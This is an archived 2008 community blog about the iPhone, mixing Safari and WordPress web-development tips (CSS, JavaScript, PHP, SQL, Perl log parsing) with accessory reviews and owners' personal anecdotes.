Home | All | Category | Search

IPhone Cafe
(1) Jan 1st 2008 08:27PM 'General'

See Recent Posts on iPhone Cafe....

***

Owners of iPhones shouldn't need to weed through web sites designed for large displays and cable network connections.  iPhone Cafe began as an idea.... attach an iPhone user interface to a Word Press weblog and maximize download performance because you never know when you'll use the iPhone browser outside of WiFI range.

***

iPhone Cafe content covers "Everything about the iPhone" which means there's no single theme.  The weblog aims at iPhone audiences ranging from "new users" to "tech gurus". 

***

Use IPhone Cafe's  search page to locate posts on topics like iphone, SIMaudio, safari, contact importautocorrect, brick, round, gameperl, php and many others.

***

Use the "Categories" option to filter the view of weblog posts. Categories include IPhone hardware, Contact Import, IPhone software, training and tips for owners and application developers. Additional categories can be created after registering.

***

Anyone can post a message after signing up for the weblog. Posts are displayed in two locations; first, they display on a desktop browser using the WordPress interface; they also display on iPhone's Safari browser using a view customized for the iPhone using larger fonts and fewer images.

***

The web address to create or read posts by desktop browser or by IPhone browser is the same:  http://core3.com/icore

***

Before posting, use the registration page from a desktop browser to create an account.  For IPhone users,  a help page is provided.

 

-Tony


Rounded Corners on Form Input Fields
(3) Jan 2nd 2008 04:45AM 'css' 'Safari' 'Developer'
Styles For Rounded Input Fields 
.
To create a Safari input field with rounded corners, use the style  "-webkit-border-radius". Here's an example:
<style type="text/css"> .iInput { font-family: Verdana; font-size: 40px; color: black; -webkit-border-radius:25px; background:#F2FFE1;} </style>
The style is then used in the class property of an input field.
<input type="text" name="person_name" size="20" class="iInput" value="" />
The resulting input field looks like this.....
                       

Hide the Safari Toolbar
(8) Jan 3rd 2008 07:57AM 'javascript' 'Safari' 'Developer'
IPhone browser real estate is scarce.  Once a page is displayed, create additional space by hiding the Safari tool bar. 
Use  window.scrollTo(0, 1); to hide the Safari toolbar. 
The scrollTo command can be placed into in-line javascript located near the bottom of the page.......
<script type="text/javascript"> window.scrollTo(0, 1); </script> 
Or, scrollTo can be part of a page onLoad event......
<script type="text/javascript"> function onloadHandler() { window.scrollTo(0, 1); } </script>
Either approach seems to work okay.

***

To see a page using this technique, point your IPhone browser towards IPhone Cafe which should display all posts and then hide the toolbar.

 ***

For more on this and other IPhone web development tips, a good resource is Estelle Weyl's Web Development for the Iphone .

Griffen iTrip Auto
(9) Jan 6th 2008 01:35AM 'iPhone' 'Car' 'Car Audio'

Griffen ITrip Auto 

The Griffen iTrip Auto is an FM transmitter that plays IPhone and IPod audio on your car's FM radio.

iTrip Auto's package lists compatible devices. The compatiblity list contains only iPods, but a picture on the front shows iTrip connected to an iPhone.  The Apple salesperson said ITrip would work with IPods or IPhones so I bought it for my IPhone. The Apple sales associate warned to be sure the device is not connected while starting the car.

---

One end of ITrip plugs into the cigarette lighter. The other end plugs into the IPhone (or IPod). After starting the car and connecting the IPhone, a message displays on the IPhone saying the iTrip is not designed for use with an IPhone (disappointing!) and offers to turn on Airplane Mode to reduce interference (why?). Ignoring this message, the next step is to set the transmit frequency. The unit comes with three preset frequencies and  the idea is to pick a frequency not used by a local radio station. The default frequency is 106.9 which, in Seattle, is occupied so I ended up on 94.5.

 ---

With everything connected and tuned, the IPhone's IPod really does play music through the car's stereo. Audio quality is good enough (for me at least), however, the iTrip does produce some static when driving under overhead utility lines.  Maybe the transmitter isn't strong enough to overcome radiation emitted by some utility lines.

---

Because it needs to be unplugged before stopping or starting the car, the iTrip is  inconvenient for short city trips. This hardware accessory is better suited for longer trips with few radio stations, few sources of static interference, and minimal pit stops.

Yahoo, iPhone, and WordPress
(10) Jan 6th 2008 08:23AM 'Developer'

Equip your weblog with a front end tailored for the IPhone

If you develope applications in PHP and MYSQL, you can place an iPhone Safari front-end on your Wordpress weblog using Yahoo's small business service which cost's less than $20 a month and provides PHP, MYSQL, and WordPress.

***

Here are the high level steps I used to build an IPhone front-end for the WordPress weblog:
  1. Sign up for Yahoo Small business. This enables PHP, and MYSQL
  2. Use Yahoo's "Create & Update" page to generate a free Word Press environment. The Word Press MYSQL database can be accessed from PHP scripts running from the small business account.
  3. Download a file named \wpblog\wp-config.php to your PC, open it, and get the MYSQL DBName, UserName, and User Password. Use these values in your own PHP scripts to connect with and query the WordPress MYSQL database.
  4. Write PHP scripts to show the structure of WordPress's MYSQL database. Here's a dbping script which shows table names and column names for some key tables.
  5. Using WordPress table structure information obtained from dbping, write PHP scripts to display BLOG content on the iPhone. Use larger than normal fonts. Everything else is pretty much standard HTML.
If you have an IPhone, view this page (www.core3.com/icore) using your IPhone to see a WordPress Blog tailored for the IPhone.

Here's a picture of the setup

Overview        

 ***

February 4th, 2008 - Before beginning the project to create an IPhone browser application, I'd never heard of Wordpress. I'm in IT, but it's corporate, and nearly all Java, with little or no PHP or Perl. My goal was to build an IPhone application folks could use to share information about the IPhone. I hadn't intended to create a weblog. However, I figured a content management system of some sort would be needed. I considered trying to build something myself from scratch using MySQL. However, aside from re-inventing the wheel,  the build-from-stratch approach would require extra time and be thin on features.

*** 

Since I use Yahoo's small business service I looked around the control panel and noticed that two separate weblog programs are included for free.  The programs are Moveable Type and WordPress. 

***

Knowing zero about either package, I read up a bit and learned that one is written in Perl and the other in PHP.  PHP is newer than Perl yet it has a large following, so I decided to experiment with WordPress. A few hours after installation, I had writen a couple of PHP scripts to query the WordPress MySQL database and pull back posts and comments.

***

In the last few day's I've been reading about WordPress plugin's. I've now learned I could have created a plugin theme tailored for the IPhone. Others have already done this. For instance, see Theme Critic's review of Hello 1.0. Oh well. Guess I'll dig in and try to learn more about Wordpress Plugin's.  A good place to start looks to be the Devlounge series "How to Write a WordPress Plugin" By Ronald Huereca which discusses plugin "How-To" techniques in a manner that's clear and readable.  

Answering the Phone
(13) Jan 8th 2008 03:54AM 'Useful Tips'
Here's a tip. It is possible to answer a call while leaving your iphone in your pocket. If wearing your earbuds, simply tap the microphone once.

Indented Category List
(14) Jan 12th 2008 07:39PM 'Developer' 'SQL'
This SQL will return an indented list of Categories from Wordpress version 2.0.2.
SELECT t1.cat_name AS lev1, t2.cat_name as lev2, t3.cat_name as lev3, t4.cat_name as lev4 FROM wp_categories AS t1 LEFT JOIN wp_categories AS t2 ON t2.category_parent = t1.cat_ID LEFT JOIN wp_categories AS t3 ON t3.category_parent = t2.cat_ID LEFT JOIN wp_categories AS t4 ON t4.category_parent = t3.cat_ID WHERE t1.cat_name = 'top-level-category'
The technique comes from Managing Hierarchical Data in MySQL by Mike Hillyer.  If more than four levels are needed, use additional LEFT JOIN statements.

---

IPhone Cafe's Category page shows the query in action.  The Wordpress category structure is shown along with checkboxes. Picking categories and selecting "View Selected Categories" saves categories into the web session and then displays only those posts with matching categories. 

iPhone web apps standard validation tool
(18) Jan 14th 2008 11:28AM 'Developer'
can anyone tell me how to validate my web application created for iPhone.

Rounded Corners on Checkboxes
(19) Jan 19th 2008 05:55AM 'html' 'Developer'

Safari Checkboxes

Here's a style to create round checkboxes on an IPhone Safari browser:
<style TYPE="text/css" /> .iCheck { width: 80px; height: 80px; -webkit-border-radius:40px; background-color:purple; } </style />
Here's the style in use:
<input type="checkbox" name="apple" class="iCheck" />
The Safari Developer Connection has more. Serious developers of IPhone applications should visit this site. Another good resource for CSS and HTML is Thomas Brunt's frontpagewebmaster.com with Safari and iPhone topics.

IPhone Cafe Help Page
(20) Jan 20th 2008 08:06AM 'cafe blog' 'help'

These notes apply only to the IPhone browser view of the weblog. 

Main Menu (help)

The main menu of IPhone Cafe appears at the top of each page and has four options; Home, All, Category, and Search. The options are described below.  The Home page has an additional menu displayed as a footer at the bottom of the page.

(Menu Option) Home
Click "Home" to see the IPhone Cafe home page which summarizes the weblog and provides search links for IPhone users and IPhone developers. There's a footer menu on the home page with additional navigation options.
(Menu Option) All
Click "ALL" to see all posts on the IPhone Cafe blog. Click a post title to see only that post. You can limit (or filter) posts by selecting categories from the Category page. The Category option shows all pages when you de-select all Categories and then select All from the main menu.
(Menu Option) Category
Click Category and make selections (using checkboxes) on the Category page to filter out unwanted posts. After selecting categories, click View Selected Categories. With no categories selected, posts from every category will be displayed.
(Menu Option) Search
Use this option to search the IPhone Cafe weblog. Posts with words matching the search keyword are displayed. Words matching the keyword are highlighted in yellow. Click the post title before clicking links on highlighted page. Otherwise, links may be broken.
(Lower Menu) Headers Only
Displays post header along with some text from the body of the post.  Provides a summary view of posts. Use the Category page to filter unwanted posts.
 (Lower Menu)  Searches
Displays a page of recent Google search activity.  Shows search words that were typed into Google. Click on search words to see the result produced by Google.  The top of the page has the most recent searches.
   

Text Highlighter
(21) Jan 21st 2008 03:06AM 'css' 'html' 'Developer' 'PHP'
This simple technique for application developers uses php, css, and html to enhance a site's search function by highlighting words that match the search keyword.

***

First, define a style with a yellow background color. The stylename in the example is "normhigh".
<style TYPE="text/css"> .normhigh {font-family: "trebuchet MS"; font-size: 45px; color: #000000; background-color: yellow;} </style>

***

A couple of lines of PHP do the rest of the work. The command, preg_replace(), is used as shown below to wrap a style tag around keywords. $post_content contains the text which is being searched. $highlightstring has the keyword which was entered into a field on the search page.  When preg_replace() finds a match, it uses back reference $0 to wrap the class definition "normhigh" around the matched word.
$skey = $highlightstring; $pattern = '/' . $skey . '/i'; $post_content = preg_replace($pattern, '<span class=normhigh>$0', $post_content);
The links below show the text highlighter at work: From php.net, the syntax for preg_replace is:
mixed preg_replace$pattern$replacement$subject [, int $limit [, int &$count ]] )
   

An IPhone Holster
(22) Jan 22nd 2008 05:18AM 'cases'
Before choosing the IPhone holster shown below, I went through several different holster brands.  

--- 

In the end, I chose the InCase holster (shown in the picture below) because this holster hardware provides access to all IPhone controls without removing the phone from the holster. Answering a call or playing a tune, or other IPhone functions can be performed with the phone in holster.  This matters (to me) because of the IPhone's contruction which is slippery smooth metal that falls from your hand in a snap if you're not carefull. A leather case with access to phone controls reduces the chance that the phone will slip and then crash/burn on a ceramic floor.  

--- 

Like I said, I tried out three holsters before the InCase. 

Holster #1 was lame. It came from the ATT store.  Downsides:  The case covered up IPhone controls and outputs and the belt clip was high profile.  Don't get it.

Holster #2 was cool because it looked really good, and it was a horizontal holster, however the phone had to be removed before answering calls or doing pretty much anything. So, this wasn't good for me 'cause I tended to drop the slippery IPhone. I was using this holster when I lost IPhone No. 1 in western North Dakota.

Holster #3 (below) is a good compromise.  All functions are accesable and the belt clip is low profile.

I'm now using the Incase holster below which comes in black, leather, demen, etc. It has a low profile belt clip. If only the belt clip were horizontal instead of verical.    

Locked IPhones
(23) Jan 25th 2008 12:32AM 'Hardware' 'brick'
I'd heard stories of IPhones be locked and turned into "bricks", usually after downloading an operating system upgrade on an iPhone running software not approved by Apple. Bricking is a derogotory term for an  IPhone that has locked up or frozen up. Lots of reporting was devoted to this subject in the months after the IPhone's release in 2007.

***

Before the IPhone, I used a Motorola Rokker on a plan from Cingular. I was okay with Cingular (and liked the Rokker) but wondered if AT&T's "buy out" of Cingular would change some things (like service). After a month or two, the level of service had not changed, so I decided to stick with AT&T and with the Rokker through 2006 and 2007.  The Rokker used ITunes and I collected lots of ITune downloads. I collected so many ITunes downloads that my next phone would need to be ITune compatible to avoid losing the investement.  Eventually, the Rokker died due to unnatural causes; e.g. a bad recharger connector (how lame). However, by this time, Apple had reduced the price of an IPhone so it became the best choice for a replacement mobile phone. I bought an IPhone and stayed with AT&T and was careful not to modify anything because I didn't want to be "bricked".

---

I don't have much first hand experience with bricking or locking but did find these links: See iPhone 1.1.1 Harder to Hack? for more on measures being used by Apple to prevent hacking of the IPhone and IPod Touch.

Moving Contacts to the IPhone
(25) Jan 26th 2008 06:22AM 'Useful Tips'
March 30 2008 - For more on importing contacts to the IPhone see these pages:

 ***

The only thing I didn't like about my Rokker was the connector for the power charger which was lame and fragile.  After a year of use, the phone would not recharge without much jiggling of the charger cable to get a good connection. Motorola tech support sent another unit but the replacement had the same problem with the power connector.  Other than the problem with the charger connector, I loved the Rokker and would have kept it for a while longer.  It had great audio quality, a great speaker phone and it played iTunes.  However, when Apple dropped the price of the iPhone, I decided it was time to drop the Rokker for something new.

***

Too bad Apple didn't provide more options to import telephone numbers into the IPhone. Why not let owners import contacts from Yahoo, GMail, Excel or a simple, vanilla, CSV text file?

***

For me, because of limited import options, moving phone numbers to the IPhone from my old Motorola Rokker was painful. The import relied on my Yahoo Contact list which wasn't my most current list, and it still required manual rekeying.

***

For Microsoft Windows users, ITunes imports contacts from Microsoft Outlook. So, if you run on Windows and your phone contacts aren't stored in Outlook, you may have some work ahead of you.

***

In my case, contacts were stored in the Rokker and in Yahoo, but not in Outlook, so I used the following workaround which isn't so pretty.

***

First, from Yahoo's contact web page, copy / paste contact names and phone numbers into a text file. Then, email that text file to the IPhone and move it into a personal folder.

***

Storing names and phone numbers in an email in a personal folder is useful, because the IPhone converts phone numbers into links which, when clicked, pops up the phone dialer. So, without re-keying names and numbers, contact phone numbers from the Rokker are available on the IPhone.  More on personal email folders.

Blog Indexing Robots
(26) Jan 26th 2008 08:29AM 'indexer'
  Sphere (www.sphere.com) and Technorati (http://technorati.com/) are blog indexers.

IPhone and GPS
(27) Jan 27th 2008 07:37AM 'Applications' 'Maps'
The IPhone's built in mapping service is a frequently used function that's great at finding business locations. One favorite location is Norms Ale House in Fremont, Wa., but that's a bit off topic.

***

The next IPhone release, version 1.1.3, will include a new mapping service designed to show the phone's current location by triangulating against cell phone towers. See Silicon.com and MacWorld for more.

***

If the revised service works as well as current IPhone maps, my friends with dedicated GPS's may be jealous. Their GPS's don't take phone calls.

***

Feb 26, 2008:  iPhone version 1.1.3 is installed and Google maps are now equipped with positioning software from Navizon.  The map screen has a new button in the lower left corner.  Press it and the display will update with a blue circle approximating the position of the iPhone. It takes a few seconds for the circle to appear.  I've tested the locator while moving around Seattle and found it's reasonably accurate. In the picture below, the actual position of the phone is the point where 41st Street meets the blue locator circle. I guess you could say it's accurate to a city block.   
iPhone Navizon User Interface
                   

***

Locator accuracy seems to vary from area to area.  In some spots the circle gets bigger and ranges from one to maybe ten city blocks. I've not  used the locator in areas with fewer cell towers but suspect accuracy deceases as the phone moves further away from areas with lots of cell towers.

***

So far, I like the locator feature.  While moving through unfamiliar territory, it's handy to press a button and see my current location.  And, it appears that a newer version of the software, Navizon version 2.0, adds a Slider mode which updates the position every ten seconds.  It will be nice when version 2.0 is availible from Apple.

Yahoo Mail and Personal Email Folders
(28) Jan 28th 2008 03:43AM 'Tips and Training' 'Useful Tips'
For more on importing contacts to the IPhone see  "Generalized IPhone Contact Import".

***

Here's a tip for IPhone owners with email configured to use Yahoo email.  It's an easy method to move data onto the IPhone by email. I used this approach to import phone numbers from my old cell phone onto a MyDocs folder on the IPhone.

***

To start, go to Yahoo email's inbox web page.  In the folders window on the left, click Add, and enter the name of the new folder.  Click OK, and the page will redisplay showing the folder.

***

***

To see the new folder on the IPhone, click the Email icon and navigate to the Mailboxes page where the new folder is displayed. While reading emails, store them to the personal folder by clicking the folder icon at the bottom of the IPhone screen and moving messages into the folder.
Tony

Adventures in iPhone
(29) Jan 29th 2008 12:43AM 'Misadventure'
I had been pretty skeptical about all the iPhone hype and had no plans to get one until the mini screen on my Razr cracked down the middle.  I tried holding it together with scotch tape, but it a) looked super ghetto, and b) wasn't working.  So I broke down and picked up an iPhone at the AT&T store this past weekend.

***

I was surprised (and irritated) to discover that, unlike every other phone on the face of the planet, you can't just switch your SIM card out of your old phone and into your new iPhone.  The guy told me I could download all my contacts from my Outlook contacts list, but whatever, I use Gmail and anyway, it's a pain in the ass to type phone numbers into my phone, much less retype them into my computer.  So now I get to reenter all my phone numbers back into the iPhone.  I guess it's a good excuse to weed out some numbers though, so perhaps some good will come out of it.

***

Anyway, I bought the phone and took it home to register it.  To do this, I had to download iTunes, create an account, and then plug the iPhone into my computer to begin the registration process.  This seemed easy enough until I got to a screen that asked me if I wanted to search for an update.  I foolishly clicked on the "update" button, and a couple minutes later I started getting "fatal" error messages about the software on the iPhone.  The next popup screen advised me to click the "restore" button to restore my iPhone back to its factory settings.  Fighting down a wave of panic (which feels just like drinking too much cheap tequila), I clicked the button.  Not only did this not work, but my brand new iPhone went into figurative fetal position, frozen on a screen with a picture of the USB cable and the iTunes logo.

***

Up until that very day I had been wondering if I should get rid of my land line.  With my cell phone number now attached to my catatonic iPhone, I was relieved to be able to pull out my trusty home phone and call iPhone tech support (and learned a valuable lesson about keeping a backup phone line).  It was maybe 8 at night by this point, and I was sure I would get an out-sourced techie from somewhere in South West Asia.  I was pretty frustrated, and not really in the mood to not understand the person I would be talking to, no matter how helpful and knowledgable he/she was, so I was incredibly surprised to be connected with "Candy" from Idaho.  She couldn't have been much more than my age, if that, but she was very sympathetic and told me that I probably had a corrupted file on my CPU hard drive.

***

So she had me remove all the iTunes related files from my programs list and reinstall iTunes.  Once that was done, I plugged my iPhone back in and was able to successfully restore the thing back to its factory settings.  It seemed like a lot of effort and frustration to go through for a cell phone, and I can only hope that the iPhone is worth the hassle.  So far, it's pretty cool, and I'll check back in with more thoughts and musings on the subject... funkyfresh

Adventures in iPhone--case shopping
(30) Jan 30th 2008 12:53AM 'cases' 'Hardware'
Having recently purchased my iPhone, it didn't take me more than 12 hours to realize that I would need to protect my investment.  Apple does not provide insurance to replace a lost cell phone, and while it comes with a year-long warranty, I don't know what conditions apply to qualify the phone for warranty repair.  If I accidently drop it, will they fix it?  The futuristic rectangle of a casing doesn't fit snugly into the palm of my hand, so I'd rate the possibility of my dropping it as extremely high.  It doesn't exactly look sturdy, either, so I don't have a high confidence level in its ability to survive regular wear and tear.  Even if Apple will fix that kind of issue, am I supposed to ship off my iPhone to a factory and go phoneless for a month?  I don't think so.

***

The solution is obviously to get a case, and so I went to my nearest Apple store to do just that.  I'd never been before, though I've walked past the place a million times and glanced in.  I've always been intimidated by the crowds that populate the store no matter the time of day, and I can't tell who works there and who's just hanging out with the computers because they all look like they'd rather be home playing World of Warcraft.  I think they knew as soon as I walked in that I was not one of them, and everyone avoided me as I wandered around the displays looking for the iPhone cases.

***

I don't know what I was expecting--maybe a three or four options, as was the case at the AT&T store where I bought the phone.  The Apple store had literally dozens of iPhone cases, some leather, some plastic, some rubber, in all kinds of colors and styles.  I had no idea what kind to get, and the more I looked, the less I liked the options.  I wanted something that would protect the face plate from scratches, as well as from a drop, but quickly realized anything that covers the plate keeps you from being able to manipulate the touch screen.  Anything that requires you to pull the phone out of its case runs you the risk of dropping it in your rush to answer the phone.  Of the multitude of possibilities, none combined the padding and hard shell of a regular case with the ability to keep the faceplate open but somehow cushioned or otherwise protected against potential damage.  In the end I settled for a slimly profiled case with velvet lining, but I think I'm going to return it, since the Apple store has a 14-day return policy...funkyfresh

Turn Off Auto Correct
(31) Jan 31st 2008 09:04PM 'html' 'Developer'
For input fields on a Safari HTML form, IPhone's auto correct and auto capitalize features can be a nuisance. You can disable autoCorrect and autoCapitalize, using the attributes below:
<input type="text" name="searchKey" size="20" autocorrect = "off" autocapitalize="off">
Source (Apple)

***

IPhone Cafe has a Safari browser UI designed with the iPhone browser in mind and includes a Search page with an HTML text field where auto correct is disabled using the setting shown above. The text field inputs a search word from the viewer and is an example of text input where auto-correct can be annoying.  To try out the "auto-correct disabled" text field, go to the search page and enter a search word like "correct" or "import".  Make sure to use your iPhone.

***

Feb 12, 2008 - Many IPhone owners want to turn off autocorrect for every application running on their IPhone, not just for web browser applications.  Disabling autocorrect for a browser application is pretty easy. Disabling autocorrect for the entire IPhone is more involved and a bit riskier. 

*** 

A post on ModMyiFone.com provides a solution using a package called KB. Another site to check out is the applications page of IPhone Atlas.  And, yet another site is IPhone in Canada. If you are okay downloading software that may violate Apple's license agreement, the approach described on these sites could work for you. I'm not sure I would take the risk with my own personal iphone because I need the iPhone to function 24x7 as a telephone. Installing something that makes the phone non-functional would be a major inconvenience.  For me,  the risk of installing 3rd party software just isn't worth it. Why turn my nice new IPhone into a brick?  For more on the risk of bricking your iPhone see iphoneMatters.com for feedback from folks who've installed 3rd party applications. The post is titled "3rd Party Apps: Good or Bad?". It generated interesting comments, both pro brick and con brick. Another post which appeared on Digg entitled "Why iPhone +SDK, Firmware Is Better Than Your Jailbroken One" generated lots of buzz.  The article appears to originate from Popular Mechanics. One comment accuses the author of posting inaccurate flame bait.  Another comment from  LaSepultura points out the jail broken phone fights an uphill battle against the hardware. And there's yet another comment from alexkehr who is excited by Apple's SDK announcement because his jail broken iPhone constantly crashes. In a post titled Will You Hack Your iPhone Again?, the author muses on pros and cons of hacking.

*** 

The description for KB's solution begins with "....The only way you can do this is if your jailbroken.....". So I'm thinking......Jail broken ! ! ! .... That doesn't sound good.....; why does my phone need to break out of jail?  And... why in the heck was it in jail to begin with....?  Seriously though, maybe things are okay these days, and breaking out of jail is no big deal.... And maybe Apple will fix autocorrect in the next release of their software. Until then, be careful. You're making the choice. You don't want to brick your IPhone; and this could happen if your next IPhone software upgrade detects unauthorized software has been loaded.  

Apache Log Parsing
(33) Feb 2nd 2008 10:34PM 'Developer' 'perl'
March 2nd Note: See Log Parsing III for the conclusion to this topic. 

***

Regular expressions (regex's) are great for manipulating character strings. I've used them for years, but haven't gone beyond "beginner" to "intermediate" proficency and admire scripters who've mastered complex regular expressions.  

***

After developing IPhone Cafe, I wanted to examine traffic patterns using web server access logs provided by Yahoo which runs on Apache.  Anyone familiar with Apache knows its logs contain lots of visitor information packed into each line.  Examining traffic patterns means parsing or "unpacking" lines. This is a perfect job for regular expressions.

***

Chapter 20 of Perl Cookbook, by Tom Christiansen and Nathan Torkington presents a one line regular expression to extract values from an access log.  Perl Cookbook is a great reference loaded with lots of nifty scripts. My copy is dog earred because I routinely reach for it to find scripting solutions.  However, I've never had success with the one line regex approach for parsing web logs. Must be a mental block on my part.

***

Searching on Google, I found a page titled Parsing Apache Access Logs using PHP  which uses a different approach; a multi-line regex approach. Instead of a single one line expression, the author of the PHP page uses multiple expressions to parse the log line from beginning to end.  My ISP uses Apache's Combined Log Format which contains the following elements:
host, datetime, method, url, protocol, status, bytes, referer, client
The multi-line regex approach uses separate regular expressions to match each element, starting with the first element, 'host', moving through the line until reaching the last element 'client'.  As each element is matched, the 'post-match', e.g. everthing to the right of the match is stored and used in the next match.

***

The multi-liner approach isn't nearly as elegant as the one line regex, e.g. it's a hack; however, for me, it's easier to work with and debug since it breaks one big "pattern match" into a number of smaller matches which can then be individually tested. The code sample in the link below isn't pretty, however it works for me.  It's a Perl subroutine where the first parameter contains a single line from the web server access log. The other parameter is for output and is a reference to a hash defined in the main script [more on references].  Here's a link to the code:
Code Sample - Log Parse
 Here's a usage example:
my %rec; &parseLogLine($thisLine, \%rec); print "IP Address = " . $rec{'host'}; . "\n"; 
The parsing subroutine is part of a Perl script which downloads log files from the ISP, parses them, and produces summary reports showing visits to IPhone Cafe. The summary report contains totals by robots, desktop browsers, IPhone Safari browsers, etc.

***

Visit Log Parsing II for an example showing how web access log information can be used.
- Tony

Why Open Cafe?
(34) Feb 3rd 2008 08:41PM 'iPhone' 'cafe blog'
Why is IPhone Cafe open to the public? It's a long story but here goes........

***

In September 2005, a few days after hurricane Katrina made landfall, I found myself watching too much CNN and becoming frustrated with news coverage of the storm; especially CNN's cable news coverage. I should have changed channels or just turned off the TV.  I didn't understand why, in the middle of an unfolding disaster, CNN's commentators used air time to assign blame rather than report the news. Years before Katrina, it was no secret that a Category 5 storm moving ashore from a particular direction could flood the city. So why hadn't news company's like CNN and others used their resources to increase public aware of the threat, and possibly prevent the disaster or reduce it's scale?  Why wait until after the event to point fingers and assign blame?

*** 

After one particularly disappointing news segment, I was agitated to the point where I needed to vent.  I don't normally write "Letters to the Editor", however Anderson Cooper's segment put me over the edge. I wasn't sure where or how to express my view.  I'd heard about "weblogs", but didn't know much about them. For me, the "Blogsphere" was just a term used by newscasters, especially those appearing on 24 hour news networks.  As far as I knew, blogging was an electronic form of "Letters to the Editor"; increasingly popular and open to the public.  As such, a blog seemed like the appropriate channel to express my view.

*** 

Using Google I found listings for dozen's of weblogs and began looking through them. After reviewing several sites, I noticed that most had something in common. They lacked a link or a button labled "Click Here to Create Your Post".  After reviewing several more weblogs, I finally got the point.  Weblogs provided "posting" permission only to the owner of the weblog or to a small group of associates.

*** 

This was somthing of a let-down. I wanted to express my view, not begin authoring my own weblog.

*** 

My experience with the Internet began in the days when Lynx was the popular web browser and, usenet was the system of choice for shared discussions because it contained thousands of newsgroups and allowed almost anyone to create messages.  

***

Eventually, I found a weblog with a "Click here to post" button at the bottom of page one. As a result, my first internet weblog posting appeared on a site called the Black Republican.  I was glad the administrators of Black Republican chose to allow postings from folks outside their inner circle.

***

I started IPhone Cafe in January 2008, thinking the blog might be useful to Apple IPhone owners looking to share  experiences about this remarkable new device.  With that in mind, I left the blog open so anyone could register and post. Aside from the Katrina posting in 2005, I've had little or no exposure to details of the blogging world. However, since beginning IPhone Cafe in January of this year, I've learned a bit about WordPress and increasingly appreciate the extent of the social and professional network that's grown up around blogging.  Yesterday, I found an article titled "Guest Blogging, Woe and Dismay". After reading it, I'm not so sure that allowing open access to a blog is socially acceptable.  

IPhone Games
(36) Feb 4th 2008 11:59PM 'Applications' 'games'
I've found these games useful for passing time; especially at an airport waiting for the next flight:
  • Digiwidge Reversi - Level of Play: Easy - This is my favorite IPhone game; only complaint; it's too easy; I never lose.  The next version should have easy and hard play levels.
  • Shredder Chess - Level of Play: Hard - I've never beaten this game; but I'm not a serious Chess player.
  • SpinBlox - a match-three style game where you tap and move blocks around the screen to create rows and columns of three or more.
 
MacMost has lots of Iphone games. I've played missile command which works okay, except my cities seem to disappear before they get hit by the enemy.

***

Another site for Chess, Reversi, Battleship, Checkers, etc. is IFonearcde.

***

If you're serious about chess, see iPhone Chess Clock for pointers on how the IPhone supports playing a blitz.

 ***

See Trism for more on an upcoming game that uses iPhones built-in orientation detector to control game play.  

Visit One Thousand iPhone Tips
(37) Feb 5th 2008 09:16AM 'Tips and Training' 'Useful Tips'
Here's a great site for IPhone owners.  The name is "One thousand iPhone tips and tricks in your hands". With tips like:
"What to do if your iPhone gets wet", "Set up Hotmail on the iPhone via Gmail", "Secrets of the Sensors", "Customizing the iPod Buttons", and "Force Quit, Hard Reset".
...the site is a must visit for iPhone owners.

View Titles
(38) Feb 7th 2008 06:43AM 'cafe blog' 'help'
When viewing IPhone Cafe from the IPhone, use the Title View to see a list of posted titles along with a bit of text from the body of each post.  With less text displayed, this option makes it easier to get a big picture of posted messages.

Apple Beats Motorola
(39) Feb 7th 2008 02:51PM 'News'
In an article at at Silicom.com, Natasha Lomas describes how the IPhone has moved past Motorola and is now next in line behind RIM for mobile phone market share. As of the 4th quarter 2007, the IPhone had 6.5% while Rim had  11.4% of the market.

Example of iUI Framwork
(40) Feb 9th 2008 09:34PM 'html' 'javascript' 'Developer' 'iUI'
Justin Barkhuff has developed an IPhone front end for his Wordpress blog using the iUI framework developed by Joe Hewitt. To see Justin's site at work, point your IPhone to  http://www.barkhuff.com .  According to Justin's comment, he didn't have an IPhone to test his work so I went there myself. It's pretty neat. If you are into IPhone web development you should check out Justin's site.  Joe Hewitt cautions against over using the iUI framework in his IUI Monotony page.

Have iPhone, Make Friends
(41) Feb 11th 2008 01:11AM 'Misadventure'
I've had my iPhone for maybe three weeks now, and I have more or less fallen in love with it, even though I've only used the most basic functions.  I'd like to test drive some games on the thing, although I'm the first to admit that, as a grad student, I hardly need to be throwing my rare spare time into the time pit that is hand held gaming.  I've not got any music, no videos, nothing like that, and I still think it's the coolest thing ever.

***

I've also discovered that having an iPhone is at the least a good way to break the ice in a crowd, and at best, makes one--however momentarily--the most popular person in the room.  My first experience with this came just last Wednesday, while at a beer tasting and pizza party.  This one guy whipped out his Blackberry and started showing it off to the people around him.  If this had been a game of poker, he had just laid down a two pair of fours and sixes.  Unfortunately for him, the iPhone is like a straight flush.  "Yeah, the Blackberry's cool, I guess," I said to a guy sitting next to me, "but I prefer the iPhone."  "You have an iPhone?" he asked, so I pulled it out and handed it over for him to inspect.  Instantly there were three different guys crowded around him clamoring to try it out.  There had been a fair amount of alcohol consumption at this point, so some of these dudes were happy to just touch the screen and whiz from feature to feature.  The first guy was sober enough to do Google searches, but his constant giggling made me fear what kinds of things he was looking up.

***

Just a couple days later, I was out with a different group of friends and, pleased with the reception my new toy had gotten last time, I pulled it out on some lame pretense of having to make a phone call, as if I could hear the people sitting right next to me in the bar, much less some random friend.  Before I could do more than pull the phone out of its case, the two dudes sitting next to me demanded to see it and pelted me with questions as they experimented with the touch screen buttons.  Abruptly, the guy holding the phone stopped and gave me this weird, coy look and showed the phone to another guy, who started laughing.  I snatched it away and looked at the screen--they had touched the safari button and a google search page showed up.  It already had a search term in it, the stripper flick "Showgirls."  I immediately remembered the drunken giggling from the Wednesday night out and knew this was the source.  I didn't bother explaining that I hadn't put the term in; quite frankly I was relieved that it hadn't been anything less PG-rated.  Anyway, since I hadn't met either of these guys before, it was a good way to break the ice, so thank you again, iPhone...funkyfresh

Who's Googling Who? Log Parsing II
(42) Feb 11th 2008 07:37AM 'Developer' 'perl'
Wouldn't it be neat to run a script against the access logs of your web server to see what Google queries result in visits to your site?  The output from such a log scanning script might look like [this] page where the timestamp and URL of Google driven visits are displayed.  And, the URL is a link which is clicked to see the original Google search result as viewed by the person entering keywords into Google's search page.  A page like this can help the site owner understand, among other things, which topics are most popular and which pages are structured effectively.

***

In Apache Log Parsing I described a method to unpack web server log files so they could be analyzed for visitor traffic patterns. Since then, I've use the parser on my own web server logs and been looking through the output.

***

After a bit, I noticed something surprising in the logs. The referer section of certain log entries contained what appeared to be a Google search URL.  This was confirmed by copy/pasting a few of these into my browser.  Running the URLs in my browser produced a Google search page, and sure enough, somewhere on the Google page was a link to IPhone Cafe.  

***

